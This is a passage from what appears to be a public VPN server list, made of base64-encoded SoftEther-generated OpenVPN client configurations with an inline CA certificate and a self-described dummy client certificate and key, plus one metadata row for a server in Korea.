M1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjbGllbnQgY2VydGlmaWNhdGUgZmlsZSAoZHVtbXkpLg0KIyANCiMgSW4gc29tZSBpbXBsZW1lbnRhdGlvbnMgb2YgT3BlblZQTiBDbGllbnQgc29mdHdhcmUNCiMgKGZvciBleGFtcGxlOiBPcGVuVlBOIENsaWVudCBmb3IgaU9TKSwNCiMgYSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZSBhbmQgcHJpdmF0ZSBrZXkgbXVzdCBiZSBpbmNsdWRlZCBvbiB0aGUNCiMgY29uZmlndXJhdGlvbiBmaWxlIGR1ZSB0byB0aGUgbGltaXRhdGlvbiBvZiB0aGUgY2xpZW50Lg0KIyBTbyB0aGlzIHNhbXBsZSBjb25maWd1cmF0aW9uIGZpbGUgaGFzIGEgZHVtbXkgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUNCiMgYW5kIHByaXZhdGUga2V5IGFzIGZvbGxvd3MuDQoNCjxjZXJ0Pg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlDeGpDQ0FhNENBUUF3RFFZSktvWklodmNOQVFFRkJRQXdLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zDQphV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRTUI0WERURXpNREl4TVRBek5EazBPVm9YRFRNM01ERXhPVEF6DQpNVFF3TjFvd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnNhV1Z1ZEVObGNuUXhDekFKQmdOVkJBWVRBa3BRDQpNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBDQo1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JEDQo0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRDQpDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3DQpYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpOLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZoDQpwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEDQp5d0lEQVFBQk1BMEdDU3FHU0liM0RRRUJCUVVBQTRJQkFRQ2hPNWhnY3cvNG9XZm9FRkx1OWtCYTFCLy9reEg4DQpoUWtDaFZObjhCUkM3WTBVUlFpdFBsM0RLRWVkOVVSQkRkZzJLT0F6NzdiYjZFTlBpbGlEK2EzOFVKSElSTXFlDQpVQkhobGxPSEl6dkRoSEZiYW92QUxCUWNlZUJ6ZGtReHNLUUVTS21RbVI4MzI5NTBVQ292b3lSQjYxVXlBVjdoDQorbVpoWVBHUktYS1NKSTZzMEVnZy9DcmkrQ3drNGJqSmZyYjVoVnNlMTF5aDREOU1IaHdTZkNPSCswejRoUFVUDQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn629011193,14.56.100.211,1410280,31,56444510,Korea Republic of,KR,72,1305510195,625887,62720654741086,2weeks,DESKTOP-TM8JC5U's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxNC41Ni4xMDAuMjExIDE2NDINCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBIVFRQL0hUVFBTIHByb3h5IHNldHRpbmcuDQojIA0KIyBPbmx5IGlmIHlvdSBoYXZlIHRvIHVzZSB0aGUgSW50ZXJuZXQgdmlhIGEgcHJveHksIHVuY29tbWVudCB0aGUgYmVsb3cNCiMgdHdvIGxpbmVzIGFuZCBzcGVjaWZ5IHRoZSBwcm94eSBhZGRyZXNzIGFuZCB0aGUgcG9ydCBudW1iZXIuDQojIEluIHRoZSBjYXNlIG9mIHVzaW5nIHByb3h5LWF1dGhlbnRpY2F0aW9uLCByZWZlciB0aGUgT3BlblZQTiBtYW51YWwuDQoNCjtodHRwLXByb3h5LXJldHJ5DQo7aHR0cC1wcm94eSBbcHJveHkgc2VydmVyXSBbcHJveHkgcG9ydF0NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBlbmNyeXB0aW9uIGFuZCBhdXRoZW50aWNhdGlvbiBhbGdvcml0aG0uDQojIA0KIyBEZWZhdWx0IHNldHRpbmcgaXMgZ29vZC4gTW9kaWZ5IGl0IGFzIHlvdSBwcmVmZXIuDQojIFdoZW4geW91IHNwZWNpZnkgYW4gdW5zdXBwb3J0ZWQgYWxnb3JpdGhtLCB0aGUgZXJyb3Igd2lsbCBvY2N1ci4NCiMgDQojIFRoZSBzdXBwb3J0ZWQgYWxnb3JpdGhtcyBhcmUgYXMgZm9sbG93czoNCiMgIGNpcGhlcjogW05VTEwtQ0lQSEVSXSBOVUxMIEFFUy0xMjgtQ0JDIEFFUy0xOTItQ0JDIEFFUy0yNTYtQ0JDIEJGLUNCQw0KIyAgICAgICAgICBDQVNULUNCQyBDQVNUNS1DQkMgREVTLUNCQyBERVMtRURFLUNCQyBERVMtRURFMy1DQkMgREVTWC1DQkMNCiMgICAgICAgICAgUkMyLTQwLUNCQyBSQzItNjQtQ0JDIFJDMi1DQkMgQ0FNRUxMSUEtMTI4LUNCQyBDQU1FTExJQS0xOTItQ0JDIENBTUVMTElBLTI1Ni1DQkMNCiMgIGRhdGEtY2lwaGVyczogc2FtZSBhcyBjaXBoZXINCiMgIGF1dGg6ICAgU0hBIFNIQTEgU0hBMjU2IFNIQTM4NCBTSEE1MTIgTUQ1IE1ENCBSTUQxNjANCiMNCiMgTm90ZTogVG8gc29sdmUgT3BlblZQTiBjb21wYXRpYmlsaXR5IGJ1Zw0KIyBSZWNlbnQgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwIHJlcXVpcmUgc3BlY2lmeWluZyB0aGUgImRhdGEtY2lwaGVycyINCiMgZmllbGQgaW5zdGVhZCBvZiB0aGUgImNpcGhlciIgZmllbGQuIEhvd2V2ZXIsIG9sZGVyIHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcA0KIyBkbyBub3QgcmVjb2duaXplICJkYXRhLWNpcGhlcnMuIiBSYXRoZXIgdGhhbiBpZ25vcmluZyBpdCwgdGhleSBwcm9kdWNlDQojIGEgc3RhcnR1cCBlcnJvciBzdGF0aW5nIHRoYXQgIm5vIHN1Y2ggb3B0aW9uIGV4aXN0cy4iIFRoaXMgaXMgYSBidWcNCiMgaW4gT3BlblZQTi4gSWYgeW91IGVuY291bnRlciB0aGlzIGlzc3VlLCBwbGVhc2UgY29tbWVudCBvdXQNCiMgdGhlICJkYXRhLWNpcGhlcnMiIGxpbmUuDQoNCmNpcGhlciBBRVMtMTI4LUNCQw0KZGF0YS1jaXBoZXJzIEFFUy0xMjgtQ0JDDQphdXRoIFNIQTENCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIE90aGVyIHBhcmFtZXRlcnMgbmVjZXNzYXJ5IHRvIGNvbm5lY3QgdG8gdGhlIFZQTiBTZXJ2ZXIuDQojIA0KIyBJdCBpcyBub3QgcmVjb21tZW5kZWQgdG8gbW9kaWZ5IGl0IHVubGVzcyB5b3UgaGF2ZSBhIHBhcnRpY3VsYXIgbmVlZC4NCg0KcmVzb2x2LXJldHJ5IGluZmluaXRlDQpub2JpbmQNCnBlcnNpc3Qta2V5DQpwZXJzaXN0LXR1bg0KY2xpZW50DQp2ZXJiIDMNCiNhdXRoLXVzZXItcGFzcw0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNlcnRpZmljYXRlIGZpbGUgb2YgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIuDQojIA0KIyBUaGUgQ0EgY2VydGlmaWNhdGUgZmlsZSBpcyBlbWJlZGRlZCBpbiB0aGUgaW5saW5lIGZvcm1hdC4NCiMgWW91IGNhbiByZXBsYWNlIHRoaXMgQ0EgY29udGVudHMgaWYgbmVjZXNzYXJ5Lg0KIyBQbGVhc2Ugbm90ZSB0aGF0IGlmIHRoZSBzZXJ2ZXIgY2VydGlmaWNhdGUgaXMgbm90IGEgc2VsZi1zaWduZWQsIHlvdSBoYXZlIHRvDQojIHNwZWNpZnkgdGhlIHNpZ25lcidzIHJvb3QgY2VydGlmaWNhdGUgKENBKSBoZXJlLg0KDQo8Y2E+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUZhekNDQTFPZ0F3SUJBZ0lSQUlJUXo3RFNRT05aUkdQZ3UyT0Npd0F3RFFZSktvWklodmNOQVFFTEJRQXcNClR6RUxNQWtHQTFVRUJoTUNWVk14S1RBbkJnTlZCQW9USUVsdWRHVnlibVYwSUZObFkzVnlhWFI1SUZKbGMyVmgNCmNtTm9JRWR5YjNWd01SVXdFd1lEVlFRREV3eEpVMUpISUZKdmIzUWdXREV3SGhjTk1UVXdOakEwTVRFd05ETTQNCldoY05NelV3TmpBME1URXdORE00V2pCUE1Rc3dDUVlEVlFRR0V3SlZVekVwTUNjR0ExVUVDaE1nU1c1MFpYSnUNClpYUWdVMlZqZFhKcGRIa2dVbVZ6WldGeVkyZ2dSM0p2ZFhBeEZUQVRCZ05WQkFNVERFbFRVa2NnVW05dmRDQlkNCk1UQ0NBaUl3RFFZSktvWklodmNOQVFFQkJRQURnZ0lQQURDQ0Fnb0NnZ0lCQUszb0pIUDBGRGZ6bTU0clZ5Z2MNCmg3N2N0OTg0a0l4dVBPWlhvSGozZGNLaS92VnFidllBVHlqYjNtaUdiRVNUdHJGai9SUVNhNzhmMHVveG15RisNCjBUTTh1a2oxM1huZnM3ai9FdkVobWt2QmlvWnhhVXBtWm15UGZqeHd2NjBwSWdiejVNRG1nSzdpUzQrM21YNlUNCkE1L1RSNWQ4bVVnalUrZzRyazhLYjRNdTBVbFhqSUIwdHRvdjBEaU5ld053SVJ0MThqQTgrbyt1M2RwanErc1cNClQ4S09FVXQrend2by83VjNMdlN5ZTByZ1RCSWxESENOQXltZzRWTWs3QlBaN2htL0VMTktqRCtKbzJGUjNxeUgNCkI1VDBZM0hzTHVKdlc1aUI0WWxjTkhsc2R1ODdrR0o1NXR1a21pOG14ZEFRNFE3ZTJSQ09GdnUzOTZqM3grVUMNCkI1aVBOZ2lWNStJM2xnMDJkWjc3RG5LeEhadThBL2xKQmRpQjNRVzBLdFpCNmF3QmRwVUtEOWpmMWIwU0h6VXYNCktCZHMwcGpCcUFsa2QyNUhON3JPckZsZWFKMS9jdGFKeFFaQktUNVpQdDBtOVNUSkVhZGFvMHhBSDBhaG1iV24NCk9sRnVoanVlZlhLbkVnVjRXZTArVVhnVkN3T1BqZEF2QmJJK2Uwb2NTM01GRXZ6RzZ1QlFFM3hEazNTenluVG4NCmpoOEJDTkF3MUZ0eE5yUUh1c0V3TUZ4SXQ0STdtS1o5WUlxaW95bUN6THE5Z3dRYm9vTURRYUhXQmZFYndyYncNCnFIeUdPMGFvU0NxSTNIYWFkcjhmYXFVOUdZL3JPUE5rM3NnckRRb28vL2ZiNGhWQzFDTFFKMTNoZWY0WTUzQ0kNCnJVN20yWXM2eHQwblVXNy92R1QxTTBOUEFnTUJBQUdqUWpCQU1BNEdBMVVkRHdFQi93UUVBd0lCQmpBUEJnTlYNCkhSTUJBZjhFQlRBREFRSC9NQjBHQTFVZERnUVdCQlI1dEZubWU3Ymw1QUZ6Z0FpSXlCcFk5dW1iYmpBTkJna3ENCmhraUc5dzBCQVFzRkFBT0NBZ0VBVlI5WXFieXlxRkRRRExIWUdta2dKeWtJckdGMVhJcHUrSUxsYVMvVjlsWkwNCnViaHpFRm5USVpkKzUweHgrN0xTWUswNXFBdnFGeUZXaGZGUURsbnJ6dUJaNmJySkZlK0duWStFZ1BiazZaR1ENCjNCZWJZaHRGOEdhVjBueHZ3dW83N3gvUHk5YXVKL0dwc01pdS9YMSttdm9pQk92LzJYL3FrU3Npc1JjT2ovS0sNCk5GdFkyUHdCeVZTNXVDYk1pb2d6aVV3dGhEeUMzKzZXVndXNkxMdjN4TGZIVGp1Q3ZqSElJbk56a3RIQ2dLUTUNCk9SQXpJNEpNUEorR3NsV1lIYjRwaG93aW01N2lhenRYT29Kd1Rkd0p4NG5MQ2dkTmJPaGRqc252enF2SHU3VXINClRrWFdTdEFtek9WeXlnaHFwWlhqRmFIM3BPM0pMRitsKy8rc0tBSXV2dGQ3dStOeGU1QVcwd2RlUmxOOE53ZEMNCmpOUEVscHpWbWJVcTRKVWFnRWl1VERrSHpzeEhwRktWSzdxNCs2M1NNMU45NVIxTmJkV2hzY2RDYitaQUp6VmMNCm95aTNCNDNualRPUTV5T2YrMUNjZVd4RzFiUVZzNVp1ZnBzTWxqcTRVaTAvMWx2aCt3akNoUDRrcUtPSjJxeHENCjRSZ3FzYWhEWVZ2VEg5dzdqWGJ5TGVpTmRkOFhNMnc5VS90N3kwRmYvOXlpMEdFNDRaYTRyRjJMTjlkMTFUUEENCm1SR3VuVUhCY25XRXZnSkJRbDluSkVpVTBac252Z2MvdWJoUGdYUlI0WHEzN1owajRyN2cxU2dFRXp3eEE1N2QNCmVteVB4Z2NZeG4vZVI0NC9LSjRFQnMrbFZEUjN2ZXlKbStrWFE5OWIyMS8ramg1WG9zMUFuWDVpSXRyZUdDYz0NCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jYT4NCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM